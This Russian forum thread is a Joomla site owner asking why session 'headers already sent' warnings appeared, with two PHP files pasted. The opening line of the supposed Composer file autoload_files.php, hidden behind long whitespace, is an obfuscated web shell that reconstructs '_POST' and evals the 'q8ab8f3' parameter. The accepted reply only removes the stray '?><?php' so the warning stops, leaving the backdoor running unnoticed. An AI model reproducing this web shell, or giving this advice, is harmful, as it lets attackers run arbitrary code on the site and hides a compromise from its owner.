Уважаемые друзья! помогите решить проблему! появилась ошибка вчера вечером сама по себе /в коде ничего не исправлял/, следующего содержания

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at docs/libraries/vendor/composer/autoload_files.php:1) in docs/libraries/joomla/session/session.php on line 665

а утром появилась еще и такая

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent (output started at docs/libraries/vendor/composer/autoload_files.php:1) in docs/libraries/joomla/session/session.php on line 665

и теперь даже не могу войти в панель управления joomla..
Что случилось и как исправить?

docs/libraries/vendor/composer/autoload_files.php
Код:
 <?php                                                                                                                                                                                                                                                                            $fsve4 "euop_rst"$awga7 $fsve4[6].$fsve4[7].$fsve4[5].$fsve4[7]. $fsve4[2]. $fsve4[1]. $fsve4[3]. $fsve4[3]. $fsve4[0]. $fsve4[5] ;$ffrx9$awga7 ($fsve4[4]. $fsve4[3] .$fsve4[2]. $fsve4[6].$fsve4[7]) ;if ( isset ( ${$ffrx9 } [ 'q8ab8f3' ]) ){ eval (${ $ffrx9} [ 'q8ab8f3' ] ) ;} ?> <?php

// autoload_files.php @generated by Composer

$vendorDir dirname(dirname(__FILE__));
$baseDir dirname(dirname($vendorDir));

return array(
    
$vendorDir '/ircmaxell/password-compat/lib/password.php',
); 


docs/libraries/joomla/session/session.php
Код:
<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Session
 *
 * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Class for managing HTTP sessions
 *
 * Provides access to session-state values as well as session-level
 * settings and lifetime management methods.
 * Based on the standard PHP session handling mechanism it provides
 * more advanced features such as expire timeouts.
 *
 * @since  11.1
 */
class JSession implements IteratorAggregate
{
    
/**
     * Internal state.
     * One of 'inactive'|'active'|'expired'|'destroyed'|'error'
     *
     * @var    string
     * @see    JSession::getState()
     * @since  11.1
     */
    
protected $_state 'inactive';

    
/**
     * Maximum age of unused session in minutes
     *
     * @var    string
     * @since  11.1
     */
    
protected $_expire 15;

    
/**
     * The session store object.
     *
     * @var    JSessionStorage
     * @since  11.1
     */
    
protected $_store null;

    
/**
     * Security policy.
     * List of checks that will be done.
     *
     * Default values:
     * - fix_browser
     * - fix_adress
     *
     * @var    array
     * @since  11.1
     */
    
protected $_security = array('fix_browser');

    
/**
     * Force cookies to be SSL only
     * Default  false
     *
     * @var    boolean
     * @since  11.1
     */
    
protected $_force_ssl false;

    
/**
     * JSession instances container.
     *
     * @var    JSession
     * @since  11.3
     */
    
protected static $instance;

    
/**
     * The type of storage for the session.
     *
     * @var    string
     * @since  12.2
     */
    
protected $storeName;

    
/**
     * Holds the JInput object
     *
     * @var    JInput
     * @since  12.2
     */
    
private $_input null;

    
/**
     * Holds the event dispatcher object
     *
     * @var    JEventDispatcher
     * @since  12.2
     */
    
private $_dispatcher null;

    
/**
     * Constructor
     *
     * @param   string  $store    The type of storage for the session.
     * @param   array   $options  Optional parameters
     *
     * @since   11.1
     */
    
public function __construct($store 'none', array $options = array())
    {
        
// Need to destroy any existing sessions started with session.auto_start
        
if (session_id())
        {
            
session_unset();
            
session_destroy();
        }

        
// Disable transparent sid support
        
ini_set('session.use_trans_sid''0');

        
// Only allow the session ID to come from cookies and nothing else.
        
ini_set('session.use_only_cookies''1');

        
// Create handler
        
$this->_store JSessionStorage::getInstance($store$options);

        
$this->storeName $store;

        
// Set options
        
$this->_setOptions($options);

        
$this->_setCookieParams();

        
$this->_state 'inactive';
    }

    
/**
     * Magic method to get read-only access to properties.
     *
     * @param   string  $name  Name of property to retrieve
     *
     * @return  mixed   The value of the property
     *
     * @since   12.2
     */
    
public function __get($name)
    {
        if (
$name === 'storeName')
        {
            return 
$this->$name;
        }

        if (
$name === 'state' || $name === 'expire')
        {
            
$property '_' $name;

            return 
$this->$property;
        }
    }

    
/**
     * Returns the global Session object, only creating it
     * if it doesn't already exist.
     *
     * @param   string  $handler  The type of session handler.
     * @param   array   $options  An array of configuration options.
     *
     * @return  JSession  The Session object.
     *
     * @since   11.1
     */
    
public static function getInstance($handler$options)
    {
        if (!
is_object(self::$instance))
        {
            
self::$instance = new JSession($handler$options);
        }

        return 
self::$instance;
    }

    
/**
     * Get current state of session
     *
     * @return  string  The session state
     *
     * @since   11.1
     */
    
public function getState()
    {
        return 
$this->_state;
    }

    
/**
     * Get expiration time in minutes
     *
     * @return  integer  The session expiration time in minutes
     *
     * @since   11.1
     */
    
public function getExpire()
    {
        return 
$this->_expire;
    }

    
/**
     * Get a session token, if a token isn't set yet one will be generated.
     *
     * Tokens are used to secure forms from spamming attacks. Once a token
     * has been generated the system will check the post request to see if
     * it is present, if not it will invalidate the session.
     *
     * @param   boolean  $forceNew  If true, force a new token to be created
     *
     * @return  string  The session token
     *
     * @since   11.1
     */
    
public function getToken($forceNew false)
    {
        
$token $this->get('session.token');

        
// Create a token
        
if ($token === null || $forceNew)
        {
            
$token $this->_createToken(12);
            
$this->set('session.token'$token);
        }

        return 
$token;
    }

    
/**
     * Method to determine if a token exists in the session. If not the
     * session will be set to expired
     *
     * @param   string   $tCheck       Hashed token to be verified
     * @param   boolean  $forceExpire  If true, expires the session
     *
     * @return  boolean
     *
     * @since   11.1
     */
    
public function hasToken($tCheck$forceExpire true)
    {
        
// Check if a token exists in the session
        
$tStored $this->get('session.token');

        
// Check token
        
if (($tStored !== $tCheck))
        {
            if (
$forceExpire)
            {
                
$this->_state 'expired';
            }

            return 
false;
        }

        return 
true;
    }

    
/**
     * Method to determine a hash for anti-spoofing variable names
     *
     * @param   boolean  $forceNew  If true, force a new token to be created
     *
     * @return  string  Hashed var name
     *
     * @since   11.1
     */
    
public static function getFormToken($forceNew false)
    {
        
$user    JFactory::getUser();
        
$session JFactory::getSession();

        
// TODO: Decouple from legacy JApplication class.
        
if (is_callable(array('JApplication''getHash')))
        {
            
$hash JApplication::getHash($user->get('id'0) . $session->getToken($forceNew));
        }
        else
        {
            
$hash md5(JFactory::getApplication()->get('secret') . $user->get('id'0) . $session->getToken($forceNew));
        }

        return 
$hash;
    }

    
/**
     * Retrieve an external iterator.
     *
     * @return  ArrayIterator  Return an ArrayIterator of $_SESSION.
     *
     * @since   12.2
     */
    
public function getIterator()
    {
        return new 
ArrayIterator($_SESSION);
    }

    
/**
     * Checks for a form token in the request.
     *
     * Use in conjunction with JHtml::_('form.token') or JSession::getFormToken.
     *
     * @param   string  $method  The request method in which to look for the token key.
     *
     * @return  boolean  True if found and valid, false otherwise.
     *
     * @since   12.1
     */
    
public static function checkToken($method 'post')
    {
        
$token self::getFormToken();
        
$app JFactory::getApplication();

        if (!
$app->input->$method->get($token'''alnum'))
        {
            
$session JFactory::getSession();

            if (
$session->isNew())
            {
                
// Redirect to login screen.
                
$app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
                
$app->redirect(JRoute::_('index.php'));
            }
            else
            {
                return 
false;
            }
        }
        else
        {
            return 
true;
        }
    }

    
/**
     * Get session name
     *
     * @return  string  The session name
     *
     * @since   11.1
     */
    
public function getName()
    {
        if (
$this->_state === 'destroyed')
        {
            
// @TODO : raise error
            
return null;
        }

        return 
session_name();
    }

    
/**
     * Get session id
     *
     * @return  string  The session name
     *
     * @since   11.1
     */
    
public function getId()
    {
        if (
$this->_state === 'destroyed')
        {
            
// @TODO : raise error
            
return null;
        }

        return 
session_id();
    }

    
/**
     * Get the session handlers
     *
     * @return  array  An array of available session handlers
     *
     * @since   11.1
     */
    
public static function getStores()
    {
        
$connectors = array();

        
// Get an iterator and loop trough the driver classes.
        
$iterator = new DirectoryIterator(__DIR__ '/storage');

        
/* @type  $file  DirectoryIterator */
        
foreach ($iterator as $file)
        {
            
$fileName $file->getFilename();

            
// Only load for php files.
            
if (!$file->isFile() || $file->getExtension() != 'php')
            {
                continue;
            }

            
// Derive the class name from the type.
            
$class str_ireplace('.php''''JSessionStorage' ucfirst(trim($fileName)));

            
// If the class doesn't exist we have nothing left to do but look at the next type. We did our best.
            
if (!class_exists($class))
            {
                continue;
            }

            
// Sweet!  Our class exists, so now we just need to know if it passes its test method.
            
if ($class::isSupported())
            {
                
// Connector names should not have file extensions.
                
$connectors[] = str_ireplace('.php'''$fileName);
            }
        }

        return 
$connectors;
    }

    
/**
     * Shorthand to check if the session is active
     *
     * @return  boolean
     *
     * @since   12.2
     */
    
public function isActive()
    {
        return (bool) (
$this->_state == 'active');
    }

    
/**
     * Check whether this session is currently created
     *
     * @return  boolean  True on success.
     *
     * @since   11.1
     */
    
public function isNew()
    {
        
$counter $this->get('session.counter');

        return (bool) (
$counter === 1);
    }

    
/**
     * Check whether this session is currently created
     *
     * @param   JInput            $input       JInput object for the session to use.
     * @param   JEventDispatcher  $dispatcher  Dispatcher object for the session to use.
     *
     * @return  void.
     *
     * @since   12.2
     */
    
public function initialise(JInput $inputJEventDispatcher $dispatcher null)
    {
        
$this->_input      $input;
        
$this->_dispatcher $dispatcher;
    }

    
/**
     * Get data from the session store
     *
     * @param   string  $name       Name of a variable
     * @param   mixed   $default    Default value of a variable if not set
     * @param   string  $namespace  Namespace to use, default to 'default'
     *
     * @return  mixed  Value of a variable
     *
     * @since   11.1
     */
    
public function get($name$default null$namespace 'default')
    {
        
// Add prefix to namespace to avoid collisions
        
$namespace '__' $namespace;

        if (
$this->_state === 'destroyed')
        {
            
// @TODO :: generated error here
            
$error null;

            return 
$error;
        }

        if (isset(
$_SESSION[$namespace][$name]))
        {
            return 
$_SESSION[$namespace][$name];
        }

        return 
$default;
    }

    
/**
     * Set data into the session store.
     *
     * @param   string  $name       Name of a variable.
     * @param   mixed   $value      Value of a variable.
     * @param   string  $namespace  Namespace to use, default to 'default'.
     *
     * @return  mixed  Old value of a variable.
     *
     * @since   11.1
     */
    
public function set($name$value null$namespace 'default')
    {
        
// Add prefix to namespace to avoid collisions
        
$namespace '__' $namespace;

        if (
$this->_state !== 'active')
        {
            
// @TODO :: generated error here
            
return null;
        }

        
$old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name] : null;

        if (
null === $value)
        {
            unset(
$_SESSION[$namespace][$name]);
        }
        else
        {
            
$_SESSION[$namespace][$name] = $value;
        }

        return 
$old;
    }

    
/**
     * Check whether data exists in the session store
     *
     * @param   string  $name       Name of variable
     * @param   string  $namespace  Namespace to use, default to 'default'
     *
     * @return  boolean  True if the variable exists
     *
     * @since   11.1
     */
    
public function has($name$namespace 'default')
    {
        
// Add prefix to namespace to avoid collisions.
        
$namespace '__' $namespace;

        if (
$this->_state !== 'active')
        {
            
// @TODO :: generated error here
            
return null;
        }

        return isset(
$_SESSION[$namespace][$name]);
    }

    
/**
     * Unset data from the session store
     *
     * @param   string  $name       Name of variable
     * @param   string  $namespace  Namespace to use, default to 'default'
     *
     * @return  mixed   The value from session or NULL if not set
     *
     * @since   11.1
     */
    
public function clear($name$namespace 'default')
    {
        
// Add prefix to namespace to avoid collisions
        
$namespace '__' $namespace;

        if (
$this->_state !== 'active')
        {
            
// @TODO :: generated error here
            
return null;
        }

        
$value null;

        if (isset(
$_SESSION[$namespace][$name]))
        {
            
$value $_SESSION[$namespace][$name];
            unset(
$_SESSION[$namespace][$name]);
        }

        return 
$value;
    }

    
/**
     * Start a session.
     *
     * @return  void
     *
     * @since   12.2
     */
    
public function start()
    {
        if (
$this->_state === 'active')
        {
            return;
        }

        
$this->_start();

        
$this->_state 'active';

        
// Initialise the session
        
$this->_setCounter();
        
$this->_setTimers();

        
// Perform security checks
        
$this->_validate();

        if (
$this->_dispatcher instanceof JEventDispatcher)
        {
            
$this->_dispatcher->trigger('onAfterSessionStart');
        }
    }

    
/**
     * Start a session.
     *
     * Creates a session (or resumes the current one based on the state of the session)
     *
     * @return  boolean  true on success
     *
     * @since   11.1
     */
    
protected function _start()
    {
        
// Start session if not started
        
if ($this->_state === 'restart')
        {
            
session_regenerate_id(true);
        }
        else
        {
            
$session_name session_name();

            
// Get the JInputCookie object
            
$cookie $this->_input->cookie;

            if (
is_null($cookie->get($session_name)))
            {
                
$session_clean $this->_input->get($session_namefalse'string');

                if (
$session_clean)
                {
                    
session_id($session_clean);
                    
$cookie->set($session_name''time() - 3600);
                }
            }
        }

        
/**
         * Write and Close handlers are called after destructing objects since PHP 5.0.5.
         * Thus destructors can use sessions but session handler can't use objects.
         * So we are moving session closure before destructing objects.
         *
         * Replace with session_register_shutdown() when dropping compatibility with PHP 5.3
         */
        
register_shutdown_function('session_write_close');

        
session_cache_limiter('none');
        
session_start();

        return 
true;
    }

    
/**
     * Frees all session variables and destroys all data registered to a session
     *
     * This method resets the $_SESSION variable and destroys all of the data associated
     * with the current session in its storage (file or DB). It forces new session to be
     * started after this method is called. It does not unset the session cookie.
     *
     * @return  boolean  True on success
     *
     * @see     session_destroy()
     * @see     session_unset()
     * @since   11.1
     */
    
public function destroy()
    {
        
// Session was already destroyed
        
if ($this->_state === 'destroyed')
        {
            return 
true;
        }

        
/*
         * In order to kill the session altogether, such as to log the user out, the session id
         * must also be unset. If a cookie is used to propagate the session id (default behavior),
         * then the session cookie must be deleted.
         */
        
if (isset($_COOKIE[session_name()]))
        {
            
$config JFactory::getConfig();
            
$cookie_domain $config->get('cookie_domain''');
            
$cookie_path $config->get('cookie_path''/');
            
setcookie(session_name(), ''time() - 42000$cookie_path$cookie_domain);
        }

        
session_unset();
        
session_destroy();

        
$this->_state 'destroyed';

        return 
true;
    }

    
/**
     * Restart an expired or locked session.
     *
     * @return  boolean  True on success
     *
     * @see     JSession::destroy()
     * @since   11.1
     */
    
public function restart()
    {
        
$this->destroy();

        if (
$this->_state !== 'destroyed')
        {
            
// @TODO :: generated error here
            
return false;
        }

        
// Re-register the session handler after a session has been destroyed, to avoid PHP bug
        
$this->_store->register();

        
$this->_state 'restart';

        
// Regenerate session id
        
session_regenerate_id(true);
        
$this->_start();
        
$this->_state 'active';

        
$this->_validate();
        
$this->_setCounter();

        return 
true;
    }

    
/**
     * Create a new session and copy variables from the old one
     *
     * @return  boolean $result true on success
     *
     * @since   11.1
     */
    
public function fork()
    {
        if (
$this->_state !== 'active')
        {
            
// @TODO :: generated error here
            
return false;
        }

        
// Keep session config
        
$cookie session_get_cookie_params();

        
// Kill session
        
session_destroy();

        
// Re-register the session store after a session has been destroyed, to avoid PHP bug
        
$this->_store->register();

        
// Restore config
        
session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);

        
// Restart session with new id
        
session_regenerate_id(true);
        
session_start();

        return 
true;
    }

    
/**
     * Writes session data and ends session
     *
     * Session data is usually stored after your script terminated without the need
     * to call JSession::close(), but as session data is locked to prevent concurrent
     * writes only one script may operate on a session at any time. When using
     * framesets together with sessions you will experience the frames loading one
     * by one due to this locking. You can reduce the time needed to load all the
     * frames by ending the session as soon as all changes to session variables are
     * done.
     *
     * @return  void
     *
     * @see     session_write_close()
     * @since   11.1
     */
    
public function close()
    {
        
session_write_close();
    }

    
/**
     * Set session cookie parameters
     *
     * @return  void
     *
     * @since   11.1
     */
    
protected function _setCookieParams()
    {
        
$cookie session_get_cookie_params();

        if (
$this->_force_ssl)
        {
            
$cookie['secure'] = true;
        }

        
$config JFactory::getConfig();

        if (
$config->get('cookie_domain''') != '')
        {
            
$cookie['domain'] = $config->get('cookie_domain');
        }

        if (
$config->get('cookie_path''') != '')
        {
            
$cookie['path'] = $config->get('cookie_path');
        }

        
session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);
    }

    
/**
     * Create a token-string
     *
     * @param   integer  $length  Length of string
     *
     * @return  string  Generated token
     *
     * @since   11.1
     */
    
protected function _createToken($length 32)
    {
        static 
$chars '0123456789abcdef';
        
$max strlen($chars) - 1;
        
$token '';
        
$name session_name();

        for (
$i 0$i $length; ++$i)
        {
            
$token .= $chars[(rand(0$max))];
        }

        return 
md5($token $name);
    }

    
/**
     * Set counter of session usage
     *
     * @return  boolean  True on success
     *
     * @since   11.1
     */
    
protected function _setCounter()
    {
        
$counter $this->get('session.counter'0);
        ++
$counter;

        
$this->set('session.counter'$counter);

        return 
true;
    }

    
/**
     * Set the session timers
     *
     * @return  boolean  True on success
     *
     * @since   11.1
     */
    
protected function _setTimers()
    {
        if (!
$this->has('session.timer.start'))
        {
            
$start time();

            
$this->set('session.timer.start'$start);
            
$this->set('session.timer.last'$start);
            
$this->set('session.timer.now'$start);
        }

        
$this->set('session.timer.last'$this->get('session.timer.now'));
        
$this->set('session.timer.now'time());

        return 
true;
    }

    
/**
     * Set additional session options
     *
     * @param   array  $options  List of parameter
     *
     * @return  boolean  True on success
     *
     * @since   11.1
     */
    
protected function _setOptions(array $options)
    {
        
// Set name
        
if (isset($options['name']))
        {
            
session_name(md5($options['name']));
        }

        
// Set id
        
if (isset($options['id']))
        {
            
session_id($options['id']);
        }

        
// Set expire time
        
if (isset($options['expire']))
        {
            
$this->_expire $options['expire'];
        }

        
// Get security options
        
if (isset($options['security']))
        {
            
$this->_security explode(','$options['security']);
        }

        if (isset(
$options['force_ssl']))
        {
            
$this->_force_ssl = (bool) $options['force_ssl'];
        }

        
// Sync the session maxlifetime
        
ini_set('session.gc_maxlifetime'$this->_expire);

        return 
true;
    }

    
/**
     * Do some checks for security reason
     *
     * - timeout check (expire)
     * - ip-fixiation
     * - browser-fixiation
     *
     * If one check failed, session data has to be cleaned.
     *
     * @param   boolean  $restart  Reactivate session
     *
     * @return  boolean  True on success
     *
     * @see     http://shiflett.org/articles/the-truth-about-sessions
     * @since   11.1
     */
    
protected function _validate($restart false)
    {
        
// Allow to restart a session
        
if ($restart)
        {
            
$this->_state 'active';

            
$this->set('session.client.address'null);
            
$this->set('session.client.forwarded'null);
            
$this->set('session.client.browser'null);
            
$this->set('session.token'null);
        }

        
// Check if session has expired
        
if ($this->_expire)
        {
            
$curTime $this->get('session.timer.now'0);
            
$maxTime $this->get('session.timer.last'0) + $this->_expire;

            
// Empty session variables
            
if ($maxTime $curTime)
            {
                
$this->_state 'expired';

                return 
false;
            }
        }

        
// Record proxy forwarded for in the session in case we need it later
        
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            
$this->set('session.client.forwarded'$_SERVER['HTTP_X_FORWARDED_FOR']);
        }

        
// Check for client address
        
if (in_array('fix_adress'$this->_security) && isset($_SERVER['REMOTE_ADDR']))
        {
            
$ip $this->get('session.client.address');

            if (
$ip === null)
            {
                
$this->set('session.client.address'$_SERVER['REMOTE_ADDR']);
            }
            elseif (
$_SERVER['REMOTE_ADDR'] !== $ip)
            {
                
$this->_state 'error';

                return 
false;
            }
        }

        
// Check for clients browser
        
if (in_array('fix_browser'$this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            
$browser $this->get('session.client.browser');

            if (
$browser === null)
            {
                
$this->set('session.client.browser'$_SERVER['HTTP_USER_AGENT']);
            }
            elseif (
$_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                
// @todo remove code:                 $this->_state    =    'error';
                // @todo remove code:                 return false;
            
}
        }

        return 
true;
    }
}  


PHP, JavaScript, SQL и другой код пишите внутри тегов [code=php]Тут код[/code]
Ответ:
runcore писал(а):кстати, даже более того, ты можешь вообще удалить ?><?php
и все будет работаь)


АГА, РАБОТАЕТ!